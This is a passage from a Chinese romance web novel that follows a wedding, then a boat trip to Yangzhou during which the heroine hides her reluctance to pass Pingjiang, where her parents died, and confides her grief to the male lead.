沈瓷的心中当然也觉得平江更好,但做人不能没有良心,如今她在金陵过的也很好,有些事也不用反反复复的拿出来说,“新房到了,一会儿可别说些有的没的,今日是我表姐大喜的日子。” 沈瓷不愿表姐今天留下遗憾。 “放心,我有分寸。”秦月跟着沈瓷一块儿进去,说了不少恭喜的话,“楚家姐姐,这个送给你,祝你新婚快乐。” 秦月手上拿的是一对如意镯,上头还绑着红绳,“这是我自己编的,还希望楚家姐姐不要嫌弃。” 楚映梦认出了来人,同样想起那日发生的事儿,她看了看秦月又看了看沈瓷,倒是没想到秦月还会特意给她准备东西。 那对如意镯精致好看,上头的红绳更是点睛之笔。 楚映梦双手接过,“多谢秦姑娘,快些坐。” 嬷嬷一早就来给楚映梦开脸上妆,这会儿还未上头面,秦月看着梳妆台上的头面满脸的艳羡,“这头面可真漂亮。” “是阿瓷选的,她说这个最好看。” “原是这般,沈瓷的眼光一向好,她从前的那些首饰都特别的漂亮。”秦月真心的夸赞着,语气没有半点嫉妒神色,楚映梦着实有些好奇。 她们不是不对付的吗? 但秦月只是随口这么一提,更多的心思全部都放在了楚映梦的身上。 甜甜的喊着楚家姐姐,对着她夸了又夸,偏偏一双眼中满是真诚,倒是让楚映梦颇有些不好意思。 “一会让阿瓷和思怡带着你一块儿坐,菜式是厨娘单独准备的,几个月前请了个从平江来的厨子,阿瓷很喜欢她做的菜,想来你也会喜欢的。”楚映梦笑着开口。 秦月满脸的惊喜,谢过楚映梦之后就去盯着沈瓷看,“沈瓷,你居然还有专门的厨子。” 沈瓷:“…不是。” 那厨子的确是平江来的,但也不是特意为她请的,只是几个月前府上厨娘辞了工,府上招工得到时候她来报名,原本还有另一个厨子的,只是舅母听说她是从平江来的,便要了她。 都是些心照不宣的默契,如今被秦月这般说出来,沈瓷只觉得尴尬,“你是怎么答应我的?” 不是说好不说些有的没的吗? 真是半点没见少说。 “我也没说什么呀?”秦月很是无辜,“夸你还不成了?” 她没理会沈瓷,走过去喊了楚家姐姐和楚家妹妹,楚映梦和楚思怡都很少看见沈瓷这般模样,纷纷笑的不行。 就连楚思怡也说要和秦月一块儿坐,多说说话。 话虽如此,但午膳她们也不过是匆匆吃了几口,季家接亲的队伍已经到了,沈瓷和楚思怡两个将门守得牢牢的,季衍的红包给了,催妆诗也做了,门还是没打开。 最终季小将军没辙,只能隔窗喊话,让新妇可怜可怜自己,十八般武艺全部用上,终是赶在吉时迎到了自己的新娘。 婚礼隆重且繁琐,沈瓷看着表姐拜别父母,上了花轿,而后她和楚思怡一块儿去了将军府,秦月本是跟着母亲一起来伯爵府的,这会儿自不好跟去。 默默的看着那十里红妆,心头艳羡不已。 她们俩来的稍晚一步,楚映梦已经去了新房,外头守着一圈的丫鬟婆子,好不容易等人少了些,沈瓷和楚思怡才同楚映梦说上了话。 “这成亲实在是累人。”楚映梦揉了揉额头,只觉得脖子有千金重,若非两人拦着她只怕要将头面摘下。 “姐姐,等一等姐夫。” “表姐,不能摘下的。” 沈瓷和楚思怡两个吓得连连开口,楚映梦也被他们俩吓了一跳,手往回一缩,“知道了知道了。” 将军府的晚宴同样热闹,二人待到了最后,同楚家兄弟俩一块儿离开,沈瓷看着灯火通明的将军府,心中有些空空的,楚思怡依偎过来,靠在沈瓷的膝上,“表姐,我有一些想姐姐了。” 楚思怡想,沈瓷也想,“我也是。” 沈瓷来到金陵这几年,几乎和表姐形影不离,她都这般不舍,更不用说楚思怡了。 “表姐,我今儿个能不能和你一起睡?”楚思怡说着说着就有点儿想哭,沈瓷没拒绝,二人说起了今日的婚礼,楚思怡说很热闹。 沈瓷也觉得很热闹。 楚映梦出嫁,二人都很不习惯,也不知要多久才能够习惯,只是大喜的日子到底不能哭,只能互相安慰。 回门日就能够见到。 * 这三天,沈瓷过的有些恍惚,楚思怡也是如此,二人都不约而同的待在裴氏的院子里,想要知道姐姐过得好不好。 裴氏看着她们俩这般,总会忍不住的笑。 笑着笑着,就生出了不少的惆怅来。 好在这时间过得极快,三日很快就过去,她们如愿以偿的见到了楚映梦,新人一道儿出现,楚映梦的脸上唯有幸福的笑颜。 裴氏知道孩子过得好那颗惶惶不安的心也就放下了。 楚家没有太多的规矩,回门日也没有为难姑爷,午膳摆在正院。 用过午膳后所有人都坐在楚修筠的院子里说话。 “我先前听说表哥要去扬州治理水患,陛下的圣旨都已经下了?你们可知道这件事?”季衍冷静问道。 楚修筠和楚景澄也知道这件事,“我们也是不久前才知道消息,应当跟你差不多的时候,听说舅母在家中发了好大一通脾气,但是表哥一意孤行,何况圣旨都已经下了,也无法反悔。” 永宁候夫人不知裴珩究竟为何要去做这些吃力不讨好的事,他尚且年轻,要去江南治理水患大多数人都是不看好的,若非陛下器重根本不会成。 如今圣旨已昭告天下,不少人铆足了劲的等着看裴珩笑话。 永宁候夫人也是忧心不已,偏偏裴珩压根不解释。 沈瓷听着他们猜测,想起裴珩和自己说过的话,只觉得耳朵有些热热的。 “也不知道表哥这一去,要什么时候才回来。” “水患也不是一年四季的有,只是夏季多雨,还是以防治为主。”沈瓷从前住在平江,距离扬州不愿,对于这些倒是比她们更了解些。 “也不知道扬州好不好玩,哥,你说我们能不能跟表哥一块儿去扬州看看?夫子不是说读万卷书不如行万里路?”楚景澄脑子活络,已经想到了这么远。 “这事儿哪里是我能做主的?何况表哥去扬州又不是游山玩水?他是外出公干的。” “什么?你要去玩,那我和姐姐也要去!”楚思怡不甘示弱,“姐姐是不是?” 楚映梦原本是想答应的,但她很快意识到自己如今已嫁为人妇,总不好再提什么要求,季衍看到她这般模样,捏了捏她的手,“我外祖家就在扬州,我回家之后同母亲说说带你去见见外祖。” 楚映梦听见这话眼睛都亮了起来,“真,真的?” “我也许久没见过外祖,还可以多待一些时候。”季衍都已经想好要怎么告假,要带楚映梦去什么地方玩。 “那我们就跟姐夫去玩!”楚思怡找到一个突破口,眼巴巴的看着季衍,“姐夫,我也想去扬州。” “没问题。”季衍答应的飞快。 “这事儿我做不了主的。”楚修筠摁着头反驳,最终没法子,被几人撺掇着去找了楚恒和裴氏。 扬州到金陵的确不远,还有季衍在,他们倒也不是不放心,只是让他们去找裴珩商议,若是裴珩答应,他们也不会反对。 横竖只去十几日。 一群人兴奋的不得了,恨不得立刻撺掇楚修筠去找裴珩。 楚修筠只能应下,承诺明日就去寻表哥商议。 傍晚季衍带着楚映梦回去将军府,楚映梦一整日都很高兴,临到了回府的时辰这不舍的情绪才冒了出来。 季小将军如临大敌,拉着楚映梦的手不住说,“你可是嫁给我了的,嫁给我了,不能反悔的。” 这话惹得在场所有人都忍俊不禁。 * 翌日,楚修筠带着去找了裴珩,支支吾吾的说起他们的打算。 “倒是顺路,相互之间也有个照应。”裴珩没有拒绝,只是问起了另一个人,“沈姑娘也一同去吗?” “我们都出门,只留下阿瓷一个怎么行?” 裴珩默默的点了头,想着一会儿去找长鸣,让他多准备一些东西。 “表哥此去扬州可有把握?我和景澄都很担心。” “尚可。”裴珩并没说太多,扬州虽富饶,这水患确实是个麻烦,但也不是难以解决,只是有些麻烦。 楚景澄在幻想扬州风光,问裴珩他们何时出发,可有租好船。 裴珩随意的应付了两句,却忽然想起了一件事,无论水路还是陆路,从金陵去扬州,都会途经平江。 而平江对于沈瓷而言,是个特殊的地方。 第60章 第60章我跟本,不想去平江…… 裴珩心中隐隐担忧,也想给楚修筠提个醒。 但他又想起沈瓷那倔强的性子,若提醒这些事,沈瓷未必会领情,她原本就不怎么待见他,也许还会怪他。 这一耽搁,就将这些话咽了回去。 裴珩心中也实在无奈,患得患失,忧思多虑,全部都体现的淋漓尽致。 “三日之后出发。”裴珩稳下心神,和楚修筠说定了日期,楚家兄弟便说要回府去准备准备,而后裴珩找来舆图,可无论他怎么看,行船都是要经过平江。 他皱起眉头,思索着要如何两全。 但裴珩没想到三日之后众人没能如约启程,原是沈瓷病了,裴珩本以为沈瓷会找借口避开,但没想到七日之后他还是看见了沈瓷的身影,这是永宁候租赁的商船,上头除了他们一行人再无其他。 许是因为要出远门,每个人都很兴奋的在甲板上跑来跑去。 但沈瓷却不是这般,众人见她如此,倒也见怪不怪,平江地处水域要塞,沈瓷怕是已经见得多了。 可谁也不知道沈瓷这会儿难受不已,登船不过半个时辰,她就晕船了,整个人头晕眼花的,胸腔阵阵难受,脸色惨白一片。 她计算着行船的速度,生生的忍着。 表姐和表妹同她说话的时候,她还能笑着应对,若是忽略她越来越苍白的脸色,任谁都不会发现异样。 只是表姐和表哥们好糊弄,裴珩却不好糊弄,他悄无声息的走到沈瓷身边,笃定道,“你不舒服?” 沈瓷浑身一僵,下意识的想要摇头,“我…我没…” 她想说自己没事,但江面上忽然涌起浪来,沈瓷原本就难受,这会儿因为船面不稳一时不慎往前扑了去。 裴珩站在她身侧,飞快的出手扶她,“小心。” 沈瓷不愿被人瞧见,立刻就要避嫌,裴珩这会儿也没计较她的举动,着急的问道,“你到底怎么了?” “我没事。”沈瓷依旧打算隐瞒,可身体比她诚实的多,胃中一阵翻涌,她推开裴珩开始干呕起来。 “阿瓷?你怎么了?” 这边的动静到底引起了众人注意,一个个都围了过来,船体不住的晃动,沈瓷更是难受不已,想要说话却一直止不住的干呕,她早上没有吃什么东西,这会儿根本呕不出什么,难受得眼泪汪汪的。 “阿瓷你这是病了?”楚映梦立刻走过来推开表哥就将人搂在自己怀里,“难道是船上吹了风受寒的?” 裴珩看着空空如也的手,脸黑的宛如锅底,倒还是找回了些理智让人去请大夫。 “我也不太清楚…”沈瓷避开表姐的眼神,缓缓的合上眼,显然是累极了。 “映梦,思怡,先送阿瓷回房,大夫很快过来。”楚修筠飞快的安排好了后续,几人这会儿也无心去看风景,纷 纷照着兄长说的去做。 人人都神色焦急,唯有裴珩,望着沈瓷的背影若有所思。 大夫过来后他们这才知道沈瓷不是染了风寒,而是晕船所致。 “那她这个模样当真没事吗?能不能开些药,让她好受一些?”楚思怡有些烦躁的问道,沈瓷原本瞧着就瘦弱,这会儿小脸惨白,像是瘦了一大圈。 “这晕船并没有什么法子根治,不坐船就好。”大夫也没有什么法子,这晕眩之症原本就是疑难杂症,并没有那么好调理。 “那就这般吗?” “这是因为行船导致,等到平缓的航道就会好一些。”大夫又说了些缓解的法子,可都只是治标不治本,楚映梦听得烦闷,挥了挥手让他下去。 大夫刚一出门,就又被人逮住问东问西,大夫没法子,只能再解释一遍。 船舱里只女眷在,沈瓷这会儿迷迷糊糊的闭着眼,几人看的有些心疼,纷纷安慰,沈瓷心中也不好受。 “阿瓷,大夫说这从小就有的毛病,你应当早就知晓…怎么…”楚映梦问的小心,她想问沈瓷为什么明明知道自己晕船,还非要坐船,若她早点说,也不至于白白受苦。 “表姐,对不起。”沈瓷含泪道歉,“你别生气,我并非是故意隐瞒。” 沈瓷急急忙忙的开口解释,一着急就引起了气喘,又是一阵撕心裂肺的咳嗽。 “我没生气。”楚映梦哪里是生气,分明就是着急的,“这好端端的受这么大的罪,我这不是心疼么。” “其实我没什么事。”沈瓷挣扎着要起来,楚映梦立刻就去扶她。 她将人小心的搂在怀里,楚思怡立刻就倒来了一杯水,“姐姐,给。” 楚映梦喂了沈瓷半杯水,她总算是好受了一些,说起话来也稍稍的顺畅了些,“其实没有关系的,下了船就会好的。” 楚映梦想问什么,又不知该不该问。 尤其是看着沈瓷这般难受,更不知从何开口。 最终不等她问,沈瓷主动的说了起来,“我想去见一见爹娘。” “我已经许多年没有见过他们,水路比官道要快上许多,我不想耽误行程。”沈瓷的声音很轻很轻,几乎微不可闻,若非楚映梦和她距离极近,根本就发现不了她说了什么。 楚映梦轻轻的拍了拍她的背,好不容易才将人给哄好。 一刻钟之后,她确认沈瓷睡下后,才招呼楚思怡和裴姝两个往外头走去。 “姐姐。” “嘘。”楚映梦让两人不要说话,“让阿瓷好好的休息。” 众人纷纷离去,殊不知几人离去之后,沈瓷的眼皮颤了颤,她到底没睁开眼,只是眼角挂上了晶莹的泪。 楚映梦神色不安的走到外头,和众人说起缘由,楚家兄弟俩脸上均是懊恼神色,根本就没有想到这一点。 “我倒是忘记了,去扬州会经过平江…若是早知道,也许能空出些时间。” “那,那这怎么办?” “要不我们就去平江转一转?” “这表哥还要去扬州会不会来不及?” 几人开始商议起来,裴珩却觉得这事儿有些蹊跷,尤其是他听见楚映梦说的话,心中那怪异感更甚,“是沈姑娘自己说的?想要去平江?” “是。”楚映梦想了想,很肯定的点头,“阿瓷说想要见一见爹娘,表哥,这船会靠岸平江吗?能不能停留几日?” “可会耽误行程?” “停靠一日倒是可行。”裴珩也没瞒着几人,他去扬州本就是公务,不能擅自更改行程。只是比起忧心忡忡的几人,他却觉得这件事处处透露出古怪。 裴珩担心沈瓷的情况,只是男女有别,他到底没能知道的太清楚。 沈瓷这些日子因为晕船的缘故一直都在船舱里歇息,只是她的晕眩之证非常的严重,几乎是吃什么吐什么。 头晕眼花,连站都站不住。 大夫一天要去看三回,缓解症状的膏药都开了七八帖,还是毫无用处。 三日之后,商船停靠在平江的码头。 沈瓷听见了熟悉的吆喝声,挣扎着就要起来,结果还没走两步就眼前发晕。 众人怎么劝都不成。 她挣扎着非要下船,只是被众人劝下,“我们回程的时候再来吧,这一次时间上已经来不及。” 沈瓷有些难受的应下,说要自己歇一歇,她躲在船舱里,整个人昏昏沉沉的,不知在想些什么,半梦半醒间,船舱外头传来了敲门的动静。 “谁?” “是我。”裴珩的声音在外头响起,沈瓷心里一紧,还没想好要怎么拒绝,裴珩的声音就又响了起来,“我能否进来。” “我睡下了。”沈瓷要拒绝,可裴珩半点不给她拒绝的机会。 “映梦她们知道,你是故意的吗?”裴珩的声音不算大,却足够沈瓷听见,紧接着裴珩就听见她走下床的动静,不出几息房门就被打开。 她赤着足,长发更是披散在身后,眼里却是深深的不安,“你…你…” “不请我进去坐坐?”裴珩显然是有话要跟她说,沈瓷思索一番后只能错开身让人走进来。 裴珩看她赤足呆愣的站在一旁,无奈道,“不冷吗?” 沈瓷没有动,眼中是显而易见的慌乱和警惕,裴珩心中轻哂,她还真是一点儿都不信任自己,裴珩缓缓的走到床边,沈瓷一直都盯着他的一举一动,在觉察到她的意图之后,立刻跑了过去。 “我自己来。” 裴珩倒也没有意外,寻了张凳子坐下,开门见山的问道,“究竟为何要这么做?” 他问的直白,沈瓷却不知要怎么回应,淡淡的别开眼,“我不知道你在说什么。” “晕船的症状从小就会有,平江地处水域要塞,你不可能不知自己的情况。”裴珩一字一句很是犀利,沈瓷根本就不敢去看她的眼睛。 “我小时候没坐过船。”沈瓷胡乱扯谎,却换来裴珩轻嗤。 “你对着映梦可不是这么说的。” “我想要去看爹娘,担心赶不及…才会扯谎。”沈瓷麻木的开口,但这话也只能骗一骗三岁孩子。 先是风寒,又是晕船,她明摆着想要将出发的日子延后,至于为何裴珩已经猜到了。 “无论是映梦还是思怡,或是修筠景澄,都很担心你,你这几日昏昏沉沉,他们也没有太好受。”裴珩并非想要刺激沈瓷,只是他发现了更要紧的事。 “从一开始就是假的是吗?”裴珩一步一步的逼近,让沈瓷无所遁形,“你根本不想去扬州是吗?” 她没有说话,神情木然一片。 裴珩不愿这么逼迫她,可更见不得她这般折腾自己。 “沈瓷,为何要这般?”裴珩的声音字字句句在耳边回响,可沈瓷却一点都不想听,偏偏耳边的声音喋喋不休。 “映梦这些日子根本就睡不好,时不时的去追问大夫。” “景澄甚至 都觉得是自己不好,若非他非要来扬州,也不至于累得你这般难受。” 一桩桩,一件件,全部被裴珩原原本本提及。 沈瓷的脸上满是泪痕,她看不清眼前的人,只余一个虚虚晃晃的影子。 她想,能不能不要再说了? “别说了…” “修筠甚至都在想中途回金陵。”裴珩看着她落泪,心中亦是不忍,可他却依旧硬起心肠追问道,“沈瓷,你可曾想过他们会担心?” “别说了,我让你别说了!”沈瓷捂住自己的耳朵开始缓缓蹲下,捂住自己的耳朵以期将一切都挡在外头,“你别说了,别说了。” 眼泪就如同断了线的珠子一般落下,在地上留下一些浅浅的水渍,裴珩微微的叹了一口气,走到她的跟前蹲下。 “到底发生什么事了?”裴珩冷静问道,“我知道若非当真难以启齿,你也不会出此下策。” “可是映梦和思怡他们待你一片赤诚,你这般欺瞒,心中可会好受?” 不知是哪一句话触动了沈瓷,她缓缓抬眸,眼泪模糊了她的视线,她的双手不曾放下,眼神却已经渐渐茫然。 发生了什么事? “不是扬州…是平江。” 裴珩有些疑惑的看向她,有些不太明白此话何意。 沈瓷也没有卖什么关子,看着他一字一顿道,“我、根、本,不、想、去、平江。” 若是可以,她这辈子都不想踏足此地。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 60-70 第61章 第61章我也骗了他们 沈瓷的回答在裴珩的意料之中,却又有一些意料之外,他能够猜测到平江对于沈瓷而言是一片伤心地,却没有想过她连踏足都不愿意。 眼前的姑娘还在哭泣,眼泪并没有随着她的话音落下而减少,那泪珠一滴一滴的砸落,统统都落到了裴珩的心里。 沈瓷捂着耳朵浑身不住的颤抖。 她将自己缩成小小的一团,头更是埋的越来越低,越来越低。 这些日子她心里也同样不好受,沈瓷并不想瞒着表姐他们,但这些话她根本不知道怎么说出口。 裴珩不知从何处摸出了一块手帕递给沈瓷。 沈瓷知道裴珩还在,也知道裴珩什么都知道了,“你是什么时候知道的?” “为何,不戳穿我?” “晕船不能治愈,却可以缓解,若你从小就有这样的问题,你应当知晓怎么预防才对。”裴珩看了她一眼,神色认真道,“你和映梦说的话,也只能骗一骗她们几个。” 其实也只是他们很少坐船远行,才会被迷惑。 若仔细的想一想,就能知道沈瓷说的话到处都是漏洞,更大一部分原因,是因为关心则乱。 至于裴珩为何会知晓,是因为他在第一日就找大夫询问过,他问的仔细,大夫回答的也仔细。 “你这么做总有你自己的理由,我虽不知你为何不愿让旁人知晓,却也不想逼迫你。”裴珩只是不愿她一边欺骗姊妹,一边难受哭泣。 大夫说她不仅仅是晕船,还忧思过重。 但凡他能心安理得的欺骗,裴珩也不会来多此一举。 “我会同表姐他们说清楚的。”沈瓷摇摇晃晃的想要站起来,却因为蹲的太久而踉跄倒地。 “沈瓷。” “我没事,我会去和表姐他们解释清楚的。”沈瓷推开裴珩挣扎着要往外走去,却被裴珩拦住。 “她们不在船上。” “…是吗?”沈瓷想起此处已经到了平江码头,不在船上应当是下船去了,“那我就等她们回来之后再和他们解释。” 自己做错的事,她总要自己去解决。 “他们原本是不想下船的,我骗他们去找些当地特产来哄你。” 沈瓷听闻此言有些茫然,不知裴珩特意提及是何原因,她不言语,裴珩却没有因此沉默,“所以,我也骗了他们。” 沈瓷想说这并不相同,但话到嘴边却像是被什么堵住了一半,根本就说不出来。 “你…我…” “如今我们又多了共同的秘密。”裴珩刻意的提及这事,让沈瓷恍惚间想起了不久之前的事。 她看着裴珩,心中闪过些许无措,裴珩从一开始就知道,可他却要替她隐瞒,明明这些事是不对的。 “你从一开始就知道了是吗?” 沈瓷明知故问,裴珩没有回答,但沈瓷已经知道了答案,她觉得有些难堪,想要把自己藏起来,偏偏裴珩不给她这个机会。 “我不过是想告诉你,我想陪着你。” “你若不知怎么和映梦提及,至少可以告诉我。”裴珩说的话字字句句都在她的耳边回响,她就算不想听,这些话也全部都往她脑海里钻。 “我说过的话,从来都是真的。” 沈瓷沉默下来,缓缓的坐在了地上,她抱着膝盖想要将一切都隔绝在外,裴珩也并不催促,只是陪她席地而坐,他递上了一块帕子,沈瓷才发现自己又落了泪。 她不知道自己坐了多久,心中所思所想均被裴珩察觉,她也再没隐瞒的必要,手帕在她手心里放着,沈瓷将它展开又叠起,“这个地方有太多我和爹娘之间的回忆。” 只要想起来,她就觉得心痛难忍。 沈瓷说的断断续续,裴珩也不催促,只是只是安静的等待着,她的脸色依旧苍白,却没拒绝裴珩递过去的药丸。 也许是很多事情藏在心里太久,从未有人觉察到,如今面对裴珩倒也没有那么多的防备。 “我阿爹阿娘的感情极好,府上没有侍妾,甚至连通房也没有,家中只有我和爹娘,阿爹很忙,经常要去处理公务,扬州的水患并非一天两天造成,爹爹身为节度使,也曾去治理过水患…”沈瓷陷入了回忆当中。 “阿爹说,他和娘亲之间,容不下旁人。” 他不想留妻女在家中,就将她们俩一块儿带去,她们母女俩住在客栈,爹爹每日早出晚归的,可每天都能见着人。 而且那时候她爹不管多忙,都要同她和娘亲说说话。 “即使回来的很晚很晚,爹爹也记得承诺过我的事,他答应过我的事,从来都会办到。” 是以人人都知道沈毅和妻子感情和睦,很疼爱她。 平江许多人都羡慕她们母女俩,沈瓷小时候觉得最平常不过的事情,如今才知道竟是那么奢侈。 “他说过只是和娘亲出去一趟,只要几日就会回来,他答应过我会早些回来的…”沈瓷本以为只是很平常的一件事。 裴珩只知道沈毅夫妇是遇到海难才会身故,对其中细节却一概不知。 那些文书里一笔带过的事,都是沈瓷的经历,而那写在文书上的名字,是她的父母。 这些事全部都摊开在他的面前,裴珩却不知要如何安慰她。 “可我没有等到他们回来,反而等来了他们亡故的消息。” 一夕之间,天堂地狱。 爹娘是海难身故,整艘船都直接被海浪摧毁,他们尸骨无存,下葬的其实是衣冠冢。 那段时间的事情,沈瓷其实早已经记不清楚,她一边强迫自己接受现实,一边又忍不住的开始痴心妄想。 没有找到尸骨,她是不是可以告诉自己,爹娘还在? 沈瓷其实知道,这些不过是自欺欺人,可她除了欺骗自己,还能做什么? 失去父母的那一年,她不过十二岁。 “对不起…我不应该欺骗你们…” “你只是还没有做好准备去面对这些。”裴珩替沈瓷找好了借口,他告诉她日后有什么不想做的事情可以告诉他。 达成目的的方式有很多,用不着这些伤敌一千,自损八百的法子。 沈瓷:“……” 她怎么觉得,事情变得奇怪起来… 沈瓷想说自己不是什么坏人,这一次也只是迫不得已。 二人席地而坐,毫无形象可言,沈瓷并不想动,裴珩也没有劝说,沈瓷说了许多的话,比他们从前说过的话更多。 她断断续续的说,裴珩断断续续的听。 更多的时候是沉默。 裴珩便会说起他的过去,他说起自己的事,也说起自己曾经见过的沈毅,“在父亲的书房里见到过一次。” “那日有同僚想要找沈家叔父赴宴,却被他拒绝了,他说妻女还在家中等他。”裴珩想起当日的事情,也忍不住笑了起来。 沈毅说的话可不如裴珩说的这般温和。 他坦言自己没有银子。 娘子还没有给他发月钱。 “在平江的时候,爹爹也很少出门赴宴,他宁可在家中陪着我和娘亲。”沈瓷忍不住的笑起来,唇边泛起一个浅浅的弧度。 裴珩告诉了沈瓷不知道的,关于沈毅的事。 他不清楚沈瓷想不想知道这些,可他却在知道自己心意的时候,就去了解了这些事。 沈瓷有些听不太懂,却不妨碍她想听。 沈瓷的心一点点的变得平静下来,只是时间过得飞快,外头的天色也渐渐的暗了下来,她冷静下来 和裴珩道谢。 “我们只会在这里停留半日,晚上就会起航。” “映梦她们还没有回来。” 裴珩将所有的选择都给了沈瓷,她可以选择将事情和盘托出,也可以选择继续隐瞒。 沈瓷心中矛盾极了,她其实并没有想好。 就在沈瓷沉默不语的时候,长鸣出现了,“世子,沈姑娘,季小将军他们回来了。” 裴珩点了点头,让沈瓷好好的歇息,他先出去应付人。 裴珩走的时候,还顺带将船舱的门给关上了,沈瓷呆呆愣愣的站着,方才哭了许久,她头疼欲裂。 外头传来表姐和思怡的声音。 她们关心的问裴珩,她今天的情况可还好。 “表哥,阿瓷有醒来吗?可有吃过什么?”楚映梦说的每一句话都是关心。 沈瓷一边听一边觉得自己做的事情太过荒唐。 “我们带来了不少特产,也不知道阿瓷喜欢不喜欢。” “方才让丫鬟给她送了药,应当还没有醒来。”裴珩随口扯谎,方才的那碗药,分明是裴珩取过来的,沈瓷不想喝。 裴珩就随意的倒在了江里。 沈瓷看着他那一系列行云流水的动作,顿时傻了眼。 “那我们去看看她。” 话音刚落,外头就传来了敲门声,沈瓷浑身有些僵硬,她坐在床上冷静道,“请进。” “阿瓷?你起来了?” “表姐,你怎么样?” 沈瓷轻轻的摇头,“我没事了,这会儿好很多。” 楚映梦和楚思怡两个坐在她的身边,和她说起先前的事情,“早知道你晕船,我们就走官道了。” “是呀,表哥当时也想过要走官道。” “可是官道比水路慢很多,估摸着要慢上好几日。”沈瓷有些疑惑道,“裴世子怎么好端端的,要想起走官道了?” “表哥说水上不太平。” “啊?” 沈瓷想这个水上有什么不太平的?他们走的是河道又不是海面,又不会有什么海盗之类的。 “水上哪里不太平了?”沈瓷愣愣的问道。 楚思怡轻轻摇头,“我也不清楚,表哥说的。” 沈瓷:“……” 沈瓷的心中有着隐隐的怪异,她想到了什么,却又担心是自己自作多情,便顺着裴珩的话瞎扯,“官道也不见得多太平,会有山匪。” “山匪?这么危险吗?” 楚家姐妹俩开始思索山匪和海盗到底谁更危险一些。 沈瓷心中那怪异更甚,她大概知晓了裴珩为何会那么做,可水路和官道其实并没有什么区别。 都会经过平江。 第62章 第62章烟花三月下扬州 水上到底太平不太平,沈瓷其实并不知道。 楚思怡和楚映梦也没有太在意,她们见沈瓷醒着,便和她说起在平江的所见所闻。 “这些是我们在城里买的,好多人说味道很好。”楚思怡拿出不少的糕点,有一些她尝过,还有一些据说是这家铺子的招牌,她们全部都买了一些。 “是姚记的糕点。”沈瓷只看上头的包装,就认出了这家铺子,“他们家的糕点味道很不错,杏仁酥很好吃。” “刚开始的时候杏仁酥还断货,每日供不应求,许多人根本买不到,老老板没法子就限制购买数量这才平息了风波。”这事儿闹得沸沸扬扬的,究竟好不好吃因人而异,但太火爆的东西总是想买来尝一尝,她娘亲也不例外。 好在这姚记的杏仁酥总算是不辜负期待。 “是吗?”楚映梦听完后眼睛都亮了起来,“那我们也尝尝。” 楚映梦和楚思怡高高兴兴的取出一块杏仁酥尝了起来,“当真好吃。” “表姐,平江还有什么比较好吃的?” “嗯,一些酒楼味道都很不错的。”沈瓷看着表姐和表妹轻声说道,她说了好几家酒楼的名字,都是她从前很爱去的。 楚映梦和楚思怡很是期待,就连一旁的裴姝有些向往,只是今日时间有限,她们并不能如愿。 沈瓷想起了自己做的那些事,心中很是愧疚,她咬着唇瓣,试探的开口,“等从扬州回金陵时…可以去看一看。” “平江也很好玩的。” “有很多好吃的,也有很多好玩的。” “那些酒楼也有许多的招牌菜,还有不少的首饰铺子,里头的首饰都很漂亮。” 沈瓷如数家珍的说道,不知是不是担心她们不喜欢平江,她恨不得将所有优点全部都罗列出来。 三人认认真真的听着,时不时的感慨一句,都有些遗憾今日时间太过紧张,没能好好的看一看,她们今日上岸一是为了找大夫,二就是为了找些特产能让沈瓷开心。 “回程倒是不会赶时间,可这会儿如何算得准之后的事?若是你晕船还是这般严重,我们不去也罢。”楚映梦如是说道。 楚思怡和裴姝也一同点头,显然是认同姐姐的话。 沈瓷听到这儿那内疚的情绪愈发深了,“…晕船不是什么大事,歇一歇就好的。” 她脸上的情绪并没能很好的隐瞒,楚映梦看得分明,忍不住揉了揉她的脸,“做什么愁眉苦脸的?” “是不是又在想什么有的没的?” 沈瓷没说话,沉默的态度已经说明了一切。 “其实有机会,我也想去看一看阿瓷长大的地方。”楚映梦认真说道,她其实在很小很小的时候,跟着姑姑和姑父去过平江,那时候阿瓷刚刚满一岁,姑姑和姑父去金陵做客,要回家的时候楚映梦怎么都不愿意让姑姑离开。 姑姑便说带她一起去玩,同行的还有兄长们,有熟悉的人在身边她也没怎么害怕,那个时候她只记得姑姑的怀抱很温柔。 只记得姑姑和姑父的家很大很大。 院子里还有一个很大的秋千,其余的什么都没记住。 但那宅子其实是朝廷赏赐的,如今姑父已经不在,那宅子应当也已经收回。 “有机会的话,我也想回去看看。”沈瓷说的都是真心话,但她根本不清楚那宅子之后变成了什么模样,她好些年没有去过平江。 关于哪里的一切,也都已经被她藏在心里。 过了平江,不过三四日的路程,就到了扬州。 沈瓷的确有晕船的症状,后半段路程,她其实也很难受,但比起一开始来要好上许多。 她还没想好怎么解释,楚映梦却已经给沈瓷找好了借口,“许是因为先前的风寒还没有好,才会那么严重。” 其余几人纷纷点头,觉得就是那么一回事。 唯有沈瓷看着裴珩那似笑非笑的眼眸时,默默的别开眼。 三日后扬州城。 商船缓缓靠岸,众人有条不紊的下了船,扬州和金陵很不一样,金陵热闹繁华,而扬州瞧着便是纸醉金迷。 裴珩去了府衙,沈瓷等人去了客栈,因为要住不少的日子,她们便包下了客栈的一整个院子,高高兴兴的去挑选屋子。 丫鬟小厮忙着收拾,楚思怡就想要出去玩。 “今儿个才到,你也不嫌累的慌。”楚映梦揉了揉额头,她虽不晕船,但坐了那么久的船,到底是有些难受,“歇一歇不成吗?” “可是我想出去看看。”楚思怡小孩儿心性,且正是爱玩爱闹的时候,当然不会觉得有多累,“表姐,我们出去玩好不好?” “你别缠着阿瓷,你是忘记她先前在船上时候的模样了?”楚映梦当即要反驳,惹得楚思怡也不敢多话。 只敢偷偷的观察着。 “我已经没什么大碍,没关系的。”沈瓷笑着开口,只说这 会儿日头正晒,这时候出去容易中暑,楚思怡也就答应下来。 到了傍晚时分才一块儿出门。 夜晚的扬州城比起白日更具一番风情。 街上张灯结彩的好不热闹,到处都是从未见过的景色。 楚思怡瞧着有趣,走到沈瓷的身边拉着她的手问道,“表姐,你以前来过扬州吗?” “爹爹以前带我和阿娘来过。”沈瓷轻声回应,其实也不清楚那到底算不算来过,“爹爹那时候是过来治理水患的,我和阿娘也无处可去,白日里偶尔会在扬州城逛一逛,到了夜里就只能住在驿馆。” 按照沈毅的身份,他的妻女如何需要住在驿馆。 只是沈毅不愿太麻烦罢了。 “那时候阿娘担心爹爹,本也没什么心思玩乐。”沈瓷话音刚落顿时觉得自己这话说的很不合时宜,正想着要如何解释,只见楚思怡摸了摸下巴看着身边的哥哥姐姐道:“那这回表哥来治理水患,我们是不是也应该无心玩乐?” 沈瓷:“……” 众人:“……” 沈瓷揉了揉额头,开口解释:“事情并不是这般,我爹爹是武将,他过来这边时凡事都想着亲力亲为,用他自己的话来说与其吩咐旁人去做,倒不如他自己来的快些。” “爹爹还去抗过沙袋,裴世子…应当不用自己去抗沙袋。” 